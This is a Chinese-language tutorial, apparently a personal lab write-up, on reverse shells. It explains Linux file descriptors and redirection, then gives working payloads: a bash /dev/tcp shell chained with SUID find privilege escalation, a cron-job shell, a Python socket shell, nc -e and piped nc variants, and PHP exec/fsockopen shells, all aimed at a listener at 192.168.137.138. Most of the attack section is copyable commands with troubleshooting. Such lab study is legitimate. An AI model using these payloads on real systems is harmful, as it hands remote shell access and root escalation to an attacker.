目录
- 反弹shell总结
- 一、文件描述符
- 二、重定向
- 1、输入重定向
- 2、输出重定向
- 3、错误输出重定向
- 4、exec 绑定重定向
- 三、实现反弹shell的几种方式
- 方法一: find 反弹
- ubuntu find反弹shell失败的问题
- 任务计划反弹shell失败的问题
- 方法二:使用python反弹,kali、ubuntu 分别监听
- 方法三、使用nc反弹shell(未复现)
- 方法四、使用php反弹shell
- 1、使用php的exec函数执行方法1反弹shell的命令:
- 2、使用php的fsockopen去连接远程:
- 四、nc 命令使用
反弹shell总结
一、文件描述符
可以理解为linux跟踪打开文件,而分配的一个数字
liunx 默认 有三个文件描述符0,1,2
标准输入standard input 0
(默认设备键盘)
标准输出standard output 1
(默认设备显示器)
错误输出:error output 2
(默认设备显示器)
注意:一条shell命令,都会继承其父进程的文件描述符
,因此所有的shell命令,都会默认有三个文件描述符。
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是其他设备,那我们就需要重定向。
二、重定向
重定向主要分为两种:
(1)输入重定向 < <<
(2)输出重定向 > >>
重点
:
1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向。
2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果
1、输入重定向
输入重定向就是改变输入的方向,不再使用键盘作为命令输入的来源,而是使用文件作为命令的输入
2、输出重定向
标准输出重定向
> | >> |
---|---|
覆盖 | 追加 |
world > cdx.file 以覆盖的方式,把正确输出结果输出到 cdx.file 文件中
world >> cdx.file 以追加的方式,把正确输出结果输出到 cdx.file 文件中。
3、错误输出重定向
/tmp/errror.txt > /tmp/error.log 2>&1
4、exec 绑定重定向
上面的输入输出重定向将输入和输出绑定以后,只对当前的指令有效。
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.137.138/12345 0>&1 \;
三、实现反弹shell的几种方式
方法一: find 反弹
centos目标机 | 192.168.137.131 |
---|---|
kali源机 | 192.168.137.138 |
kaii 上开启监听
nc -nlvp 12345
centos 用find命令做重定向
#提权
[root@www ~]# chmod u+s /usr/bin/find
#切换用户
[root@www ~]# su tang
#查看权限
[tang@www root]$ ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find
[tang@www root]$ find /etc/passwd -exec whoami \;
root
#做反弹shell
[tang@www root]$ find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.137.138/12345 0>&1 \;
kail
centos
bash -i代表在本地打开一个bash
,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件
,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。
本地的输入输出流向
:
执行bash -i >& /dev/tcp/ip/port后
执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:
ubuntu find反弹shell失败的问题
源 | 目标 |
---|---|
centos | ubuntu |
centos 上做监听,ubuntu做find 反弹shell
但是在 ubuntu上做find 反弹shell 出现了点问题,失败了!
显示没有 路由,但是却可以ping 通,这就很不合理
但是查看路由,却显示有,这就很奇怪
我们查看一下,是不是防火墙的问题
iptables -F 冲刷一下centos的防火墙,再次监听。然后ubuntu find反弹shell(没做测试,没安docker,怕出问题。)
显然可以成功
任务计划反弹shell失败的问题
/var/spool/cron/crontabs/目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的centos上
任务计划文件
cd /var/spool/cron/crontabs
vim root
内容如下
* * * * * /bin/bash -i >& /dev/tcp/192.168.137.131/12345 0>&1
需要特别注意的一点是这的root文件的权限必须为600,否则会出现cron[53948]: (root) INSECURE MODE (mode 0600 expected)的错误,会影响到后面的实验
改完权限后查看日志,发现出现新的问题
CRON[55318]: (CRON) info (No MTA installed, discarding output)
这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh
ls -al /bin/sh
可以看到/bin/sh其实是一个软连接文件,在ubuntu中 它指向指向了dash,而我们反弹shell使用的shell环境是bash,所以这一点是反弹出错的根本原因
而之前的centos可以能成功,因为centos中 /bin/sh的指向 bash
方法二:使用python反弹,kali、ubuntu 分别监听
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.137.135/138',12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
kali
ubuntu
首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3)
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了
方法三、使用nc反弹shell(未复现)
CentOS6.5安装nc方法如下:
1、下载安装
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
2、配置
vim /etc/profile
添加以下内容:
# set netcat path
export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
3、测试
nc -help成功
kali 做监听
nc -nlvp 12345
在CentOS上使用nc去反向连接
nc -e /bin/bash 192.168.137.138 12345
这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程.
注意
之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。
如果nc不支持-e参数的话,可以利用到linux中的管道符
首先在kali上开启监听:
nc -nvlp 12345
nc -nvlp 54321
在CentOS上使用nc去反向链接:
nc 192.168.137.138 12345|/bin/bash|192.168.137.138 54321
这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入
,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。
方法四、使用php反弹shell
1、使用php的exec函数执行方法1反弹shell的命令:
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.137.138/7777");'
2、使用php的fsockopen去连接远程:
php -r '$sock=fsockopen("192.168.137.138",12345);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
四、nc 命令使用
nc 命令 是 ncat 的软链接。ncat 与 cat 有着相似的作用
nc 常用:
- 侦听任意端口,以TCP/UDP 方式
- 端口扫描
- 传输文件
- 测速
常用命令:
- 1 -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。 - 2-p
限制数据发送原端口 - 3 -s
指定发送数据的源IP地址,适用于多网卡机 - 4 -u
指定nc使用UDP协议,默认为TCP - 5 -v
输出交互或出错信息,新手调试时尤为有用 - 6 -w
超时秒数,后面跟数字 - 7 -z
表示zero,表示扫描时不发送任何数据 - 8 -n
表示在建立连接之前不对主机进行dns解析
常用组合-nlvp